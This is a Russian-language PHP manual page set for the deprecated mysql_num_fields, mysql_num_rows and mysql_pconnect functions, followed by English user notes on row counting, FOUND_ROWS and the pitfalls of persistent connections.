I use this function to check whether a table exists. If not it's created.

mysql_connect("server","usr","pwd")
    or die("Couldn't connect!");
mysql_select_db("mydb");

$tbl_exists = mysql_query("DESCRIBE sometable");
if (!$tbl_exists) {
mysql_query("CREATE TABLE sometable (id int(4) not null primary key,
somevalue varchar(50) not null)");
}


Возвращает количество полей результата запроса

  • « mysql_list_tables
  • mysql_num_rows »
  • PHP Manual
  • MySQL
  • Возвращает количество полей результата запроса

mysql_num_fields

(PHP 4, PHP 5)

mysql_num_fields — Возвращает количество полей результата запроса

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_num_fields()
  • PDOStatement::columnCount()

Описание

mysql_num_fields(resource $result): int|false

Возвращает количество полей в результате запроса.

Список параметров

result

Обрабатываемый результат запроса. Этот результат может быть получен с помощью функции mysql_query().

Возвращаемые значения

Возвращает количество полей в результате запроса (resource) в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mysql_num_fields()

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
echo 'Не удалось выполнить запрос: ' . mysql_error();
exit;
}

/* возвращает 2, так как id,email === двум полям */
echo mysql_num_fields($result);
?>

Примечания

Замечание:

Для обратной совместимости может быть использован следующий устаревший псевдоним: mysql_numfields()

Смотрите также

  • mysql_select_db() - Выбирает базу данных MySQL
  • mysql_query() - Посылает запрос MySQL
  • mysql_fetch_field() - Возвращает информацию о колонке из результата запроса в виде объекта
  • mysql_num_rows() - Возвращает количество рядов результата запроса

User Contributed Notes

php at jezusisheer dot nl 29-Mar-2007 11:10
Note that, if you want to get the amount of columns of a table and you're using the "SHOW COLUMNS FROM $table" query, you will have to use mysql_num_rows() instead of mysql_num_fields() on the result. This becomes logical when thinking about it, because the SHOW COLUMNS query returns a result with six columns (Field, Type, Null, Key, Default and Extra) and with a single row for every column found. If you'd count the number of fields, you'd always get 6. If you count the number of rows, you'll get the amount of columns found.
tharkey at tharkey dot net 19-Jun-2003 11:26
You can use it without a requete, just to list the fields :

$liste_champs = mysql_list_fields ( $Base, $Table, $connexion);

for ($i=0; $i < mysql_num_fields ($l_champs); $i++) {
                        echo ( mysql_field_name ($l_champs, $i) );
                        echo (' / ');
                        }
apass AT passmoore DOT com 01-Oct-2002 03:52
Adding to the last comment: you can dynamically loop through any number of  columns AND rows like so-

$query="your SQL";
$result=mysql_query($query) or die("Query ($query) sucks!");
$fields=mysql_num_fields($result);

echo "<table>\n<tr>";
for ($i=0; $i < mysql_num_fields($result); $i++) //Table Header
{ print "<th>".mysql_field_name($result, $i)."</th>"; }
echo "</tr>\n";
while ($row = mysql_fetch_row($result)) { //Table body
echo "<tr>";
    for ($f=0; $f < $fields; $f++) {
    echo "<td>$row[$f]</td>"; }
echo "</tr>\n";}
echo "</table><p>";

This has been tested.
matt at iwdt dot net 23-Sep-2001 06:09
here's one way to print out a row of <th> tags from a table
NOTE: i didn't test this

$result = mysql_query("select * from table");

for ($i = 0; $i < mysql_num_fields($result); $i++) {
    print "<th>".mysql_field_name($result, $i)."</th>\n";
}

post a comment if there's an error
bwark at stanford dot edu 24-Dec-2000 02:56
If you just want the number of fields in a table, you can do something like this:

<?php
$db_id = mysql_connet();
$result = mysql_query("DESCRIBE [tableName], $db_id);

$numFields = mysql_num_rows($result);
?>

Because "DESCRIBE" returns one row for each field in the table (at least in MySQL), this will work.


Возвращает количество рядов результата запроса

  • « mysql_num_fields
  • mysql_pconnect »
  • PHP Manual
  • MySQL
  • Возвращает количество рядов результата запроса

mysql_num_rows

(PHP 4, PHP 5)

mysql_num_rows — Возвращает количество рядов результата запроса

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_num_rows()
  • mysqli_stmt_num_rows()
  • PDOStatement::rowCount()

Описание

mysql_num_rows(resource $result): int|false

Возвращает количество рядов результата запроса. Эта команда работает только с запросами SELECT или SHOW, возвращающих актуальный результат запроса. Чтобы получить количество рядов, обработанных функциями INSERT, UPDATE, REPLACE и DELETE, используйте функцию mysql_affected_rows().

Список параметров

result

Обрабатываемый результат запроса. Этот результат может быть получен с помощью функции mysql_query().

Возвращаемые значения

Количество рядов в результате запроса в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mysql_num_rows()

<?php

$link = mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("database", $link);

$result = mysql_query("SELECT * FROM table1", $link);
$num_rows = mysql_num_rows($result);

echo "Получено $num_rows рядов\n";

?>

Примечания

Замечание:

При использовании mysql_unbuffered_query() функция mysql_num_rows() не вернёт корректного значения до тех пор, пока все ряды не будут получены.

Замечание:

Для обратной совместимости может быть использован следующий устаревший псевдоним: mysql_numrows()

Смотрите также

  • mysql_affected_rows() - Возвращает число затронутых прошлой операцией рядов
  • mysql_connect() - Открывает соединение с сервером MySQL
  • mysql_data_seek() - Перемещает внутренний указатель в результате запроса
  • mysql_select_db() - Выбирает базу данных MySQL
  • mysql_query() - Посылает запрос MySQL

User Contributed Notes

Joebomb 22-Sep-2015 10:51
In Reply to the last post: This may not always work correctly, as $object->doesExist would contain a result, not a boolean value. A better way (using the same method) would be using a cast:

<?php
class Object {
  var $doesExist = false;

  [...]
  function load() {
    $result = mysql_query('...');
    $this->doesExist = (bool) ($res = mysql_fetch_array($result))
    [...]
  }
}
?>
mauriciocramos at gmail dot com 21-Mar-2011 12:43
When mysql.trace_mode = On, SELECT FOUND_ROWS() allway returns 0.  It looks like a bug.

In detail:

If you have a table with 5 rows and issue:

SELECT SQL_CALC_FOUND_ROWS * FROM table LIMIT 1;

mysql_num_rows() returns 1 as expected.

If you issue "SELECT FOUND_ROWS()" just in sequence, in the same connection resource, it allways returns 0 rather than expected 5.

Just switch mysql.trace_mode to Off and things will work.
Typer85 at gmail dot com 18-Mar-2010 11:20
Actually I am a little ashamed to be saying this, but I stand corrected about a rather old note I posted on 17-Jul-2007 06:44.

Using SQL_CALC_FOUND_ROWS and FOUND_ROWS( ) will NOT trigger a race condition on MySQL, as that would pretty much defy their entire purpose.

The results for their usage is actually unique per connection session as it is impossible for processes to share anything in PHP. As far as PHP is concerned, each request represents a new connection to MySQL as each request is isolated to its own process.

To simulate this, create the following script:

<?php

$Handle = mysql_connect( "localhost" , "root" , "" );
mysql_select_db( "lls" );

if( isset( $_GET[ 'Sleep' ] ) ) {
    mysql_query( "SELECT SQL_CALC_FOUND_ROWS `bid` From `blocks` Limit 1" );
} else {
    mysql_query( "SELECT SQL_CALC_FOUND_ROWS `aid` From `access` Limit 1" );
}

if( isset( $_GET[ 'Sleep' ] ) ) {
    sleep( 10 ); // Simulate another HTTP request coming in.
    $Result = mysql_query( "SELECT FOUND_ROWS( )" );
    print_r( mysql_fetch_array( $Result ) );
}

mysql_close( );

?>

Set the connection and query information for something that matches your environment.

Run the script once with the Sleep query string and once again without it. Its important to run them both at the same time. Use Apache ab or something similar, or even easier, just open two browser tabs. For example:

http://localhost/Script.php?Sleep=10
http://localhost/Script.php

If a race condition existed, the results of the first instance of the script would equal the results of the second instance of the script.

For example, the second instance of the script will execute the following SQL query:

<?php

mysql_query( "SELECT SQL_CALC_FOUND_ROWS `aid` From `access` Limit 1" );

?>

This happens while the first instance of the script is sleeping. If a race condition existed, when the first instance of the script wakes up, the result of the FOUND_ROWS( ) it executes should be the number of rows in the SQL query the second instance of the script executed.

But when you run them, this is not the case. The first instance of the script returns the number of rows of its OWN query, which is:

<?php

mysql_query( "SELECT SQL_CALC_FOUND_ROWS `bid` From `blocks` Limit 1" );

?>

So it turns out NO race condition exists, and every solution presented to combat this "issue" are pretty much not needed.

Good Luck,
gtaylor at sonic dot net 10-Sep-2008 12:18
In preventing the race condition for the SQL_CALC_FOUND_ROWS and FOUND_ROWS() operations, it can become complicated and somewhat kludgy to include the FOUND_ROWS() result in the actual result set, especially for complex queries and/or result ordering. The query gets more complex, you may have trouble isolating/excluding the FOUND_ROWS() result, and mysql_num_rows() will return the number of actual results + 1, all of which makes your code messier and harder to read. However, the race condition is real and must be dealt with.

A alternative and cleaner method is to explicitly lock the table using a WRITE lock (preventing other processes from reading/writing to the table). The downsides I can see are a performance hit, and your mysql user must have lock permissions.

<?php
    // excuse the use of mysqli instead of mysql

    $mysqli->query("LOCK TABLE t WRITE");
    $results = $mysqli->query("SELECT id FROM t LIMIT 0,10");
    $totalNumResults = array_pop($mysqli->query("SELECT FOUND_ROWS()")->fetch_row());
    $mysqli->query("UNLOCK TABLES");
?>

Now you may iterate through the results just like any other result set.
Tom Fejfar 05-Jun-2008 01:56
Improvement to chrisdberry82 at gmail dot com's code:

<?php
$sql = "
SELECT SQL_CALC_FOUND_ROWS
  '0', z.id
FROM
  zoom AS z
LIMIT
  0,6
UNION
  SELECT
    '1', FOUND_ROWS()
ORDER BY `0` DESC , RAND()";
?>

You can see, that you can even ORDER the final result anyway you like ;)
Then you can fetch the result like this:
<?php
$res = mysql_query($sql);
$count = mysql_fetch_assoc($res);
while($row = mysql_fetch_assoc($res)){
 unset($row["0"]); //get rid of the "sorting col"
 print_r($row); //or whatever ;)
}
echo $count["id"]; // the total number of rows
?>

And you got rid of the lousy IFs ;)
timo 27-May-2008 09:03
<?
$strQuery="SELECT * FROM `tabel`";
$strResult = mysql_query($strQuery);
$Aantalvelden = mysql_num_fields($strResult);
$Aantalrijen=mysql_num_rows($strResult);

echo "<table border='1'><tr>";
for($ikolom=0;$ikolom<$Aantalvelden;$ikolom++){
$strVeldnaam = mysql_field_name($strResult,$ikolom);
echo "<td>$strVeldnaam</td>" ;
}
echo "</tr>";

for($ir=0;$irij<$Aantalrijen;$irij++){
echo "<tr>";
for($ikolom=0;$ikolom<$Aantalvelden;$ikolom++){
$strKolomwaarde = mysql_result($strResult,$irij,$ikolom);
echo "<td>$strKolomwaarde</td>";
}
}
echo "</table>";
?>
chrisdberry82 at gmail dot com 25-May-2008 10:46
The following code can wrap it all up in a single query so you don't have to worry about multiple client requests:

$stmtMain = $mysqli->prepare("SELECT SQL_CALC_FOUND_ROWS jobid,title FROM tbljobs
    LIMIT ?, ? UNION SELECT FOUND_ROWS(),'!!IgnoreCount!!';")

Then iterate through the results with something like:

while ($stmtMain->fetch() && $strResultTitle !="!!IgnoreCount!!") {
//do stuff
}
($strResultSector == '!!IgnoreCount!!')? $intTotal = $intResultCount : 1;
deaggi at deaggi dot net 20-Aug-2007 12:45
In Reply to the last post: This may not always work correctly, as $object->doesExist would contain a result, not a boolean value. A better way (using the same method) would be using a cast:

<?php
class Object {
  var $doesExist = false;

  [...]
  function load() {
    $result = mysql_query('...');
    $this->doesExist = (bool) ($res = mysql_fetch_array($result))
    [...]
  }
}
?>

johannes
webmaster dasourcerer net 20-Aug-2007 05:42
In one of my applications, I had to let an object know wether it exists in the database or not. I found a cheap solution w/o the usage of mysql_num_rows():

<?php
class Object {
  var $doesExist = false;

  [...]
  function load() {
    $result = mysql_query('...');
    $this->doesExist = ($res = mysql_fetch_array($result))
    [...]
  }
}
?>
Typer85 at gmail dot com 16-Jul-2007 11:44
A note on the following usage; that suggest to use several MySQL Functions to get the number of Table Records.

You may be familiar with following:

<?php

$sqlQuery = 'Select SQL_CALC_FOUND_ROWS `MyField` From `MyTable` Limit 1;';

$sqlQuery_1 = 'Select FOUND_ROWS( );';

?>

I omitted the actual connection to MySQL and the execution of the query, but you get the idea.

I did some tests and on a fairly high traffic web site, one that executes several queries quite often and found that using this combination of MySQL Functions can actually result in wrong results.

For example, assume I have two queries to get the number of Table Records in two different Tables. So in essence, we are executing 4 queries ( 2 queries for each Table ).

If two different requests come in through PHP, your going to run into problems. Note than when I mean request, I mean two different clients requesting your PHP page.

---------------
Request 1:
---------------

Execute: SQL_CALC_FOUND_ROWS On Table 1

---------------
Request 2:
---------------

Execute: SQL_CALC_FOUND_ROWS On Table 2

---------------
Request 1:
---------------

Execute: Select FOUND_ROWS( )

At this point, you see the race condition that occurred. While Request 1 was being executed, Request 2 came in.

At this point Request 1 will return the number of Table Records in Table 2 and not Table 1 as expected!

Why? Because MySQL does not differ between requests. Each query is in a queue waiting its turn. As soon as its turn comes in it will be executed my MySQL.

The MySQL Function Select FOUND_ROWS( ) will return the result of the last SQL_CALC_FOUND_ROWS!

Keep in mind.
Jonas 08-Dec-2005 01:55
A small tip concerning SQL_CALC_FOUND_ROWS and FOUND_ROWS()

Remember that you can us "AS" when working with mysql_fetch_assoc.

$sql="
    SELECT
        FOUND_ROWS() AS `found_rows`;
";
$result = mysql_query($sql);
$myrow = mysql_fetch_assoc($result);
$row_count = $myrow['found_rows'];

echo $row_count;
simon_nuttall at hotmail dot com 12-Nov-2005 07:36
Object oriented version of wil1488 at gmail dot com's comment for counting table rows:
<?php
$result = $mysqli->query("SELECT COUNT(*) as TOTALFOUND from table");
$row_array=$result->fetch_array(MYSQLI_ASSOC);
print($row_array['TOTALFOUND']);
?>
wil1488 at gmail dot com 31-May-2005 07:53
To use SQL COUNT function, without select the source...

see an example:

<?
//MAKE THE CONNECTION WITH DATABASE

$my_table = mysql_query("SELECT COUNT(*) as TOTALFOUND from table", $link); //EXECUTE SQL CODE
Note: will return the total on TOTALFOUND

print (mysql_result($my_table,0,"TOTALFOUND")); //use the field camp to get the total from your SQL query!
?>

Thanks, good luck.
dzver at abv dot bg 20-Feb-2005 05:00
It is faster to run second query "select count(...) from ... ", than adding SQL_CALC_FOUND_ROWS to your first query, and then using select FOUND_ROWS() + mysql_num_rows().
29-Jan-2005 05:18
In response to oran at trifeed dot com:

You are only experiencing this behaviour because you have not given your FOUND_ROWS() result an alias:

$qry = mysql_query ( 'SELECT FOUND_ROWS() AS total' );
$rst = mysql_fetch_array ( $qry, MYSQL_ASSOC );
echo $rst['total'];

Sean :)
oran at trifeed dot com 15-Dec-2004 09:06
For me

SELECT SQL_CALC_FOUND_ROWS together with
SELECT FOUND_ROWS()

Only worked with the following syntax:
$result = @mysql_query($query);
$resultTotal = @mysql_query("SELECT FOUND_ROWS()");
$res=    mysql_fetch_array($resultTotal);
echo $res['FOUND_ROWS()'];

hope it helped

oran
http://www.trifeed.com
pjoe444 at yahoo dot com 18-Nov-2004 03:38
Re my last entry:

This seems the best workaround to get an 'ordinary' loop going, with possibility of altering output according to row number
(eg laying out a schedule)

$rowno=mysql_num_rows($result);

for ($i=0; $i<mysql_num_rows($result); $i++) {
$row = mysql_fetch_assoc($result);

print "<div class=\"showing\">";
print "<b>".$row['timeon']."-".$row['timeoff']."</b> ".$row['event']."<br />;
if ($i!=$rowno-1) {
    print "other-html-within-sched-here</div>";
    }
else print "end-last-entry-html-here</div>";
}  //close loop
pjoe444 at yahoo dot com 18-Nov-2004 02:24
A pity there seems no way of getting the CURRENT  row number that's under iteration in a typical loop,
such as:
while ($row = mysql_fetch_assoc($result)) { }

After all there is an array of row arrays, as signified by
mysql_num_rows($result):

Say this gives "40 rows" : it would be useful to know when the iteration is on row 39.

The nearest seems to be "data seek":but it connects directly to a
row number eg (from mysql_data_seek page)

for ($i = mysql_num_rows($result) - 1; $i >= 0; $i--) {
   if (!mysql_data_seek($result, $i)) {
       echo "Cannot seek to row $i: " . mysql_error() . "\n";
       continue;
   }

= it still wouldn't solve knowing what row number you're on in an ordinary loop.

One reason for this situation is the php fetch (fetch-a-single-row) construction, without any reasonable FOR loop possibility with row numbers.

Suggestion:
$Rows[$i] possibility where
$i would be the row number

$Rows[$row[], $row[], $row[].....]
             0            1            2     etc

-- the excellent retrieval WITHIN a row ( $row[$i] ),
while certainly more important,  is not matched by
similar possibilities for rows themselves.

and Count($result) doesnt work of course, $result being a
mere ticket-identifier...

Peter T
sam at liddicott dot com 04-Nov-2004 05:40
Some user comments on this page, and some resources including the FAQ at :

http://www.faqts.com/knowledge_base/view.phtml/aid/114/fid/12 suggest using count(*) to count the number of rows

This is not a particularly universal solution, and those who read these comments on this page should also be aware that

select count(*) may not give correct results if you are using "group by" or "having" in your query, as count(*) is an agregate function and resets eachtime a group-by column changes.

select sum(..) ... left join .. group by ... having ...

can be an alternative to sub-selects in mysql 3, and such queries cannot have the select fields replaced by count(*) to give good results, it just doesn't work.

Sam
aaronp123 att yahoo dott comm 21-Feb-2003 05:40
I may indeed be the only one ever to encounter this - however if you have a myisam table with one row, and you search with valid table and column name for a result where you might expect 0 rows, you will not get 0, you will get 1, which is the myisam optimised response when a table has 0 or one rows.  Under "5.2.4 How MySQL Optimises WHERE Clauses" it reads:

*Early detection of invalid constant expressions. MySQL quickly detects that some SELECT statements are impossible and returns no rows.

and

*All constant tables are read first, before any other tables in the query. A constant table is:
1) An empty table or a table with 1 row.
2) A table that is used with a WHERE clause on a UNIQUE index, or a PRIMARY KEY, where all index parts are used with constant expressions and the index parts are defined as NOT NULL.

Hopefully this will keep someone from staying up all night with 1146 errors, unless I am completely mistaken in thinking I have this figured out.
tac at smokescreen dot org 13-Jan-2002 11:58
MySQL 4.0 supports a fabulous new feature that allows you to get the number of rows that would have been returned if the query did not have a LIMIT clause.  To use it, you need to add SQL_CALC_FOUND_ROWS to the query, e.g.

$sql = "Select SQL_CALC_FOUND_ROWS * from table where state='CA' limit 50";
$result = mysql_query($sql);

$sql = "Select FOUND_ROWS()";
$count_result = mysql_query($sql);

You now have the total number of rows in table that match the criteria.  This is great for knowing the total number of records when browsing through a list.
philip at cornado dot c()m 06-May-2001 11:37
Regarding SQL count(), see this faq :
* http://www.faqts.com/knowledge_base/view.phtml/aid/114/fid/12
Note: If you already have a $result, use mysql_num_rows() on it otherwise use SQL count().  Don't SELECT data just for a count.


Устанавливает постоянное соединение с сервером MySQL

  • « mysql_num_rows
  • mysql_ping »
  • PHP Manual
  • MySQL
  • Устанавливает постоянное соединение с сервером MySQL

mysql_pconnect

(PHP 4, PHP 5)

mysql_pconnect — Устанавливает постоянное соединение с сервером MySQL

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_connect() с p: префиксом хоста
  • PDO::__construct() с опцией драйвера PDO::ATTR_PERSISTENT

Описание

mysql_pconnect(
string $server = ini_get("mysql.default_host"),
string $username = ini_get("mysql.default_user"),
string $password = ini_get("mysql.default_password"),
int $client_flags = 0
): resource

Устанавливает постоянное соединение с сервером MySQL.

mysql_pconnect() работает аналогично mysql_connect() с двумя важными отличиями.

Во-первых, при соединении функция пытается найти уже открытый (постоянный) указатель на тот же сервер с тем же пользователем и паролем. Если он найден, возвращён функцией будет именно он, вместо открытия нового соединения.

Во-вторых, соединение с SQL-сервером не будет закрыто, когда работа скрипта закончится. Вместо этого, оно останется рабочим для будущего использования (mysql_close() также не закрывает постоянные соединения, открытые mysql_pconnect()).

Соединения такого типа называют 'постоянными'.

Список параметров

server

Сервер MySQL. Может также включать номер порта, например, "hostname:port" или путь к локальному сокету, например, ":/path/to/socket" для локального хоста.

Если директива mysql.default_host не определена (по умолчанию), то по умолчанию используется значение 'localhost:3306'

username

Имя пользователя. По умолчанию используется имя пользователя, владеющего серверным процессом.

password

Пароль. По умолчанию используется пустая строка.

client_flags

Параметр client_flags может быть комбинацией следующих констант: 128 (включает обработку LOAD DATA LOCAL), MYSQL_CLIENT_SSL, MYSQL_CLIENT_COMPRESS, MYSQL_CLIENT_IGNORE_SPACE и MYSQL_CLIENT_INTERACTIVE.

Возвращаемые значения

Возвращает дескриптор постоянного соединения MySQL в случае успешного выполнения, и false в случае возникновения ошибки.

Примечания

Замечание:

Учтите, что соединения такого типа работают только, если PHP установлен как модуль. За дополнительной информацией обращайтесь к разделу "Постоянные соединения с базами данных".

Внимание

Использование постоянных соединений может потребовать некоторой настройки Apache и MySQL. Убедитесь, что вы не превысите максимальное число дозволенных соединений в MySQL.

Смотрите также

  • mysql_connect() - Открывает соединение с сервером MySQL
  • "Постоянные соединения с базами данных"

User Contributed Notes

m at louislivi dot com 10-Aug-2019 01:51
SMProxy
A MySQL database connection pool based on MySQL protocol and Swoole.
https://github.com/louislivi/SMProxy
shane 04-Jun-2011 12:35
The new mysqlnd library, which replaces the old libmysql, should make disappearing connections a thing of the past. It refreshes the connection (either change_user or ping) before trying to use it. (It also uses less memory, and generally has better performance.) I've only tried it with mysqli, but the native extension also uses it. It's available for PHP >= 5.3, MySQL >= 4.1.
seawyvern at gmail dot com 13-Aug-2010 12:10
(using PHP v5.3.2)
This might help other people who are running into a similar issue. I would occasionally get this error in my apache error log:

PHP Warning:  mysql_pconnect(): MySQL server has gone away

It appears the persistent connection mysql_pconnect() was returning had timed out and mysql_pconnect() didn't detect it. To address this issue I added some code to check for this case using mysql_ping() and request another connection from mysql_pconnect() if this situation occurred. It appears that the combination of the checking for the time out with mysql_ping( ) and re-requesting the connection with mysql_pconnect( ) either caused the original connection to re-connect or forced mysql_pconnect() to recognize that the connection had timed out and request a new one. The documentation for mysql_ping( ) says that it will force a re-connect if it detects a timeout, however comments on the documentation page mention that this feature has been disabled for some time. Anyways here is the code I used, hope it helps:

$dbConnection = mysql_pconnect( $myHostname, $myUsername, $myPassword  );

if ( !mysql_ping( $dbConnection ) )
{
   $dbConnection = mysql_pconnect( $myHostname, $myUsername, $myPassword  );
}
Tom 28-Dec-2009 05:43
Persistent connections work well for CGI PHP managed by fastCGI, contrary to the suggestion above that they only work for the module version. That's because fastCGI keeps PHP processes running between requests. Persistent connections in this mode are easily made immune to connection limits too, because you can set PHP_FCGI_CHILDREN << mysql's max_connections <<< Apache's MaxClients. This also saves resources.
David 26-Sep-2009 01:45
Right after I upgraded to PHP 5.3 I started getting "MySQL server has gone away" errors on almost every other page request from the apache server. I tried a few ideas that didn't work. Here is the solution: I changed all my mysql_pconnect() statements to mysql_connect(). It fixed the problem. For some reason PHP 5.3 does not like persistent connections.
david at hundsness dot com 11-Sep-2008 10:44
Here's a recap of important reasons NOT to use persistent connections:

* When you lock a table, normally it is unlocked when the connection closes, but since persistent connections do not close, any tables you accidentally leave locked will remain locked, and the only way to unlock them is to wait for the connection to timeout or kill the process. The same locking problem occurs with transactions. (See comments below on 23-Apr-2002 & 12-Jul-2003)

* Normally temporary tables are dropped when the connection closes, but since persistent connections do not close, temporary tables aren't so temporary. If you do not explicitly drop temporary tables when you are done, that table will already exist for a new client reusing the same connection. The same problem occurs with setting session variables. (See comments below on 19-Nov-2004 & 07-Aug-2006)

* If PHP and MySQL are on the same server or local network, the connection time may be negligible, in which case there is no advantage to persistent connections.

* Apache does not work well with persistent connections. When it receives a request from a new client, instead of using one of the available children which already has a persistent connection open, it tends to spawn a new child, which must then open a new database connection. This causes excess processes which are just sleeping, wasting resources, and causing errors when you reach your maximum connections, plus it defeats any benefit of persistent connections. (See comments below on 03-Feb-2004, and the footnote at http://devzone.zend.com/node/view/id/686#fn1)
JM 26-Apr-2008 09:16
If you get an error message which refers to a failure regarding /var/mysql/mysql.sock, try changing your php.ini so that mysql.default_socket=/tmp/mysql.sock
Sabyasachi Ruj 17-Aug-2007 01:00
If you are using mysql_pconnect(), and say the MySQL server has five persistent connection pooled for that client.

Now mysql_pconnect can return any one of them.

So, If you are expecting that mysql_pconnect will return always use the same persistent connection, that is not the case.

So, say you are executing after connecting with mysql_pconnect:

set @aa=6;

And in another page you have again done mysql_pconnect, and executed:

select @aa;

That will not necessarily return '6' as the result!

Because the second mysql_pconnect can take another persistent connection from that server's connection pool.
Nils Meyer nils at weiss-bescheid dot de 07-Aug-2006 06:03
Be careful when setting variables on a persistent mysql connection. Example:
// Set result charset to UTF8
mysql_query("SET SESSION character_set_results = 'UTF8'");

If another script reuses your persistent connection, it will also use the UTF-8 charset. This created a problem with typo3 and TemplaVoila, which reads serialized data from the database. The data is returned as UTF8, but the script expects latin1 and dies with a serialize error ("Template Object could not be unserialized successfully."). This problem is especially tricky because it works on some requests and crashes on others - because the variable is not set on all connections in the persistent connection pool.

A possible solution is to reset variables to their default value afterwards:
$ret = mysql_query("SHOW VARIABLES LIKE 'character_set_results'");
list($foo, $old_charset) = mysql_fetch_assoc($ret);
mysql_query("SET SESSION character_set_results = 'UTF8'");
// do some fancy utf8 stuff
// ..

// revert to old encoding
mysql_query("SET SESSION character_set_results = '$old_charset'");

or simply use mysql_connect(), as previously stated it makes more sense in most enviroments and there are less things to bother with   (like variables, transactions, temporary tables).
3ch0 20-May-2006 02:01
pconnect is preferred when you are using a remote database server on a major web site. mysql in particular stays happier with 1 open connection as opposed to 1000 connections a minute =)
Ron 15-Sep-2005 08:34
Here's a nifty little class which will load balance across multiple replicated MySQL server instances, using persistent connections, automatically removing failed MySQL servers from the pool.

You would ONLY use this for queries, never inserts/updates/deletes, UNLESS you had a multi-master situation where updates to any database serverautomatically replicate to the other servers (I don't know whether that's possible with MySQL).

Using this class, you get a connection to a MySQL server like this:
    $con = MySQLConnectionFactory::create();

Here is the class (you'll need to customize the $SERVERS array for your configuration -- note that you would probably use the same username, password and database for all of the servers, just changing the host name, but you're not forced to use the same ones):

<?php
class MySQLConnectionFactory {
    static $SERVERS = array(
    array(
        'host' => 'myHost1',
        'username' => 'myUsername1',
        'password' => 'myPassword1',
        'database' => 'myDatabase1'),
    array(
        'host' => 'myHost2',
        'username' => 'myUsername1',
        'password' => 'myPassword2',
        'database' => 'myDatabase2')
    );

    public static function create() {
    // Figure out which connections are open, automatically opening any connections
    // which are failed or not yet opened but can be (re)established.
    $cons = array();
    for ($i = 0, $n = count(MySQLConnectionFactory::$SERVERS); $i < $n; $i++) {
        $server = MySQLConnectionFactory::$SERVERS[$i];
        $con = mysql_pconnect($server['host'], $server['username'], $server['password']);
        if (!($con === false)) {
        if (mysql_select_db($server['database'], $con) === false) {
            echo('Could not select database: ' . mysql_error());
            continue;
        }
        $cons[] = $con;
        }
    }
    // If no servers are responding, throw an exception.
    if (count($cons) == 0) {
        throw new Exception
        ('Unable to connect to any database servers - last error: ' . mysql_error());
    }
    // Pick a random connection from the list of live connections.
    $serverIdx = rand(0, count($cons)-1);
    $con = $cons[$serverIdx];
    // Return the connection.
    return $con;
    }
}
?>
tomek at 3kropki dot pl 29-Dec-2004 09:36
Instead of use wait_timeout, you can set interactive_timeout to short period of time (for ex. 20 sec.) this is a lot better solution in apache + mysql environment than wait_timeout.

To know more about interactive_timeout - look to mysql documentation.
federico dot chiesa at tiscali dot it 19-Nov-2004 05:08
Be very careful when using persistent connections and temporary tables on MySQL: in MySQL, temporary tables are visible only to the currenct connection, but if you have a persistent connection the temporary tables will supposedly be visible to everybody sharing the same persistent connection. This can lead to major trouble. I suggest to use totally random temporary table names when using persistent connections to avoid major problems.
markunderscoreconnollyatacmdotorg 27-Oct-2004 10:59
I would like to comment on the post from dfischer at qualcomm dot com that proposes spanning transactions over multiple application invocations, in case someone is bold enough to try it.

I'll assume the table types being used are one of those that support transactions, such as InnoDB or BerkeleyDB.

First, there is a question of whether this would work at all.  To work at all, the transaction context would have to be preserved across all the invocations of the php code through the web server.  Reading the description of http://www.php.net/manual/en/features.persistent-connections.php maintaining transaction context would be at best a coincidence.  It would be interesting to find out that this does work on occasion and to understand the ramifications of such behavior.  If I happened to get your connection and my action was a cancel, your updates might be gone.

Second, if such a thing did work (occassionally or always), there would be performance implications as the underlying database managed transactions that were pretty much open-ended.  A few long-running transactions would likely eat up many resources in a short time and the likelihood of concurrency conflicts could rise.  If the mysql_pconnect behavior is to keep transaction open at the end of php processing, then it would probably be better to not define transactions when using mysql_pconnect. And, transactions that were never closed by code (user went out to lunch and got hit by a bus) could hold resources for quite some time (maybe until after rehab).

So, even if such a scheme COULD work, it is not a good idea.  The transaction should be committed or rolled back at the end of the user request processing.  This allows the DBMS to properly manage resource ultilization and keeps bad things from happening to good data.  If mysql_pconnect does not coordinate well with the transaction component of the database engine to always end a transaction at the end of processing a request, then mysql_pconnect should never be used where begin transaction is used.
dfischer at qualcomm dot com 06-Jul-2004 05:57
You also may consider using pconnect if you have transactions that span multiple pages. For example, in applications that I develop, I start a transaction on the moment I query selecting the data that the user plans on editing. I then commit the transactions after the user hits the submit button and the data is committed.

I cannot simply use mysql_connect as then the connection would be terminated at the end of the page and if I did not commit my transaction, it is automatically rolled back.
matt *at* roughest *dot* net 10-Mar-2004 08:18
Be very careful when using persistent connections on a machine running multiple mysql servers. You must specify the correct socket path, otherwise PHP will reuse connections irregardless of what server they are connected to. That is, it will see an open connection with matching parameters and use it, even if the connection is actually for a different server.
mightye (at) mightye (dot) org 03-Feb-2004 04:19
Normally you do NOT want to use mysql_pconnect.  This function is designed for environments which have a high overhead to connecting to the database.  In a typical MySQL / Apache / PHP environment, Apache will create many child processes which lie in idle waiting for a web request to be assigned to them.  Each of these child processes will open and hold its own MySQL connection.  So if you have a MySQL server which has a limit of 50 connections, but Apache keeps more than 50 child processes running, each of these child processes can hold a connection to your MySQL server, even while they are idle (idle httpd child processes don't lend their MySQL connection to other httpd children, they hold their own).  So even if you only have a few pages which actually connect to MySQL on a busy site, you can run out of connections, with all of them not actually being used.

In general use mysql_connect() for connecting to MySQL unless that connection takes a long time to establish.
aaryal at foresightint dot com 15-Jan-2004 03:25
don't use pconnect in a situation with MySQL running on one host but on multiple ports (a multiple database configuration). the connection pooling algo in php apparently only keys off of the host, username and password but not the port. therefore, if you use the same host, username and password but a different port, you might get a connection that is connected to a different port than the one you asked for.
spam at vrana dot cz 04-Nov-2003 10:53
